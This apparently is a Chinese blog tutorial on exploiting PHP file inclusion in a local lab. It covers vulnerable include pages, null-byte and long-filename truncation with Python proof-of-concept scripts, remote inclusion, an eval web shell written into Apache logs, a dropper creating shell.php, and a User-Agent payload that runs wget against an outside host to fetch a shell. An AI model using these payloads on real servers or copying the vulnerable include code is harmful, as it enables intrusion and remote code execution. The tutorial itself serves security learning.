“惩恶扬善,取财有道” 这八个字应该是这个时代,白帽子职业,最有尊严的生存方式。
0x00 环境准备
phpstudy
sublime
firefox(hackbar)
0x01 本地文件包含(LFI)
被包含的文件在服务器本地
1. 常见本地包含
① show_1.php
<?php
if ($_GET['page']) {
include($_GET['page']);
}
else{
echo "please input the pragram as page";
}
?>
② 1_php.jpg
<?php phpinfo();?>
结果
http://zhutou.com/file_include/show_1.php?page=upload/1_php.jpg
③ show_2.php
<?php
if ($_GET['page']) {
include("./action/".$_GET['page']);
}
else{
echo "please input the pragram as page";
}
?>
结果
http://zhutou.com/file_include/show_2.php?page=../upload/1_php.jpg
2. 截断本地包含
① 00 截断
条件:
Magic_quote_gpc
为off
原因:服务器的代码规定了包含文件的后缀
<?php
if ($_GET['page']) {
include("./action/".$_GET['page'].".php");
}
else{
echo "please input the pragram as page";
}
?>
结果
http://zhutou.com/file_include/show_3.php?page=../upload/1_php.jpg%00
Poc
这里需要注意 string = '../upload/1_php.jpg\u0000'
不能写成 string = '../upload/1_php.jpg%00'
,因为 %00 提交之后已经被编码成 \u0000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
环境:phpstudy 搭建
漏洞源码:/file_include/show_3.php
应用漏洞:文件包含,00截断
'''
import requests
import urllib.parse
'''
zero_cut = urllib.parse.quote('%00') #对 %00 进行 url 编码
print(zero_cut)
'''
string = '../upload/1_php.jpg\u0000' # 00 截断
url = "http://zhutou.com/file_include/show_3.php"
payload = {'page':string}
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0'}
r = requests.get(url=url,params=payload,headers=header)
result = r.content
result = result.decode()
if result.find('PHP Version 5.2.17') == -1: # 如果查找不到该字符串就返回 -1
print('文件包含失败!')
else:
print('文件包含成功!')
结果
C:\Python35\python.exe E:/pycharm_project/python_base/Poc/test/LFI_截断.py
文件包含成功!
Process finished with exit code 0
② 长文件名截断
Windows 和 Linux 的文件名长度是又限制的,超过长度的就会被忽略。通常情况下 Windows 的截断长度是 260,Linux 的长度是 4096。
PS: 在 Windows 文件名后面加 /.
或者 \.
都可以。
show_3.php
<?php
if ($_GET['page']) {
include($_GET['page'].".php");
}
else{
echo "please input the pragram as page";
}
?>
Poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
phpstudy 搭建
漏洞源码:/file_include/show_3.php
应用漏洞:文件包含,长文件名截断
'''
import requests
string = ''
for i in range(260):
string += '/.'
string = 'upload/1_php.jpg' + string # 长文件名截断
url = "http://zhutou.com/file_include/show_3.php"
payload = {'page':string}
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0'}
r = requests.get(url=url,params=payload,headers=header)
result = r.content
result = result.decode()
print(result)
if result.find('PHP Version 5.2.17') == -1: # 如果查找不到该字符串就返回 -1
print('文件包含失败!')
else:
print('文件包含成功!')
结果
C:\Python35\python.exe E:/pycharm_project/python_base/Poc/test/LFI_截断.py
文件包含成功!
Process finished with exit code 0
0x02 远程文件包含(RFI)
被包含的文件在第三方服务器
条件:allow_url_include=On,默认是关闭,开启之后重启服务即可
1. 常见远程包含
用法和本地包含差不多,把本地的路径换为 url 即可
http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg
2. 截断远程包含
问号截断法
把需要截断的地方当成参数或直接放在问号后面即可。
http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg?id=
或者
http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg?
0x03 利用
1. Apache 错误日志(error.log)上传一句话
① 原理
构造一条不存在的 URL ,并将一句话插入其中,访问出错后在 apache 的错误日志中会保存该 URL ,该方法很好地解决了不能上传图片马的问题。
② 错误的 URL
http://zhutou.com/<?php @eval($_POST['pass'])?>
如果 error.log 太大,浏览器访问超时的话,可以将一句话改为如下代码,使得包含日志的时候在网站自动生成 shell.php
<?php $fp=fopen("../../WWW/shell.php","W+");fputs($fp,"<?php @eval($_POST['pass']);?>");fclose($fp)?>
PS: 这里注意浏览器会自动给 URL 里面的字符编码,空格,尖括号等等。
③ 包含日志
apache 日志文件默认:
/etc/httpd/logs/access_log
/var/log/httpd/access_logs
通过 apache 的配置文件找日志文件路径:
/etc/httpd/conf/httpd
/etc/init.d/httpd
nignx 日志文件默认在 logs 目录下
Windows 2003 + iis6.0 日志文件默认在:
C:\WINDOWS\system32\Logfiles
配置文件默认在:
C:\Windows\system32\inetsrv\metabase.xml
iis 7 日志文件默认在:
%SystemDrive%inetpub\logs\LogFiles
配置文件默认目录:
C:\Windows\System\inetsrv\config\applicationHost.config
2. Linux 环境变量包含一句话
原理是包含/proc/self/environ,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的,
所以说想个办法修改user-agen,比如修改成
<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然后提交一个,包含/proc/self/environ的请求就可以了。
3. 包含 data:// 或者 php://input 等协议
条件:allow_url_include=on
这是一个 php 的输入流,可以读到没有处理过的 POST 数据
$raw = file_get_contents('php://input','r');
echo $raw;
4. php://filter
http://zhutou.com/file_include/show_1.php?page=php://filter/read=convert.base64-encode/resource=demo.php
或者:
http://zhutou.com/file_include/show_1.php?page=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/file_include/demo.php
0x04 参考文献
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
https://blog.csdn.net/wangyi_lin/article/details/9837257
https://blog.csdn.net/zminr411421_/article/details/52042027#
猪头
2020.4.18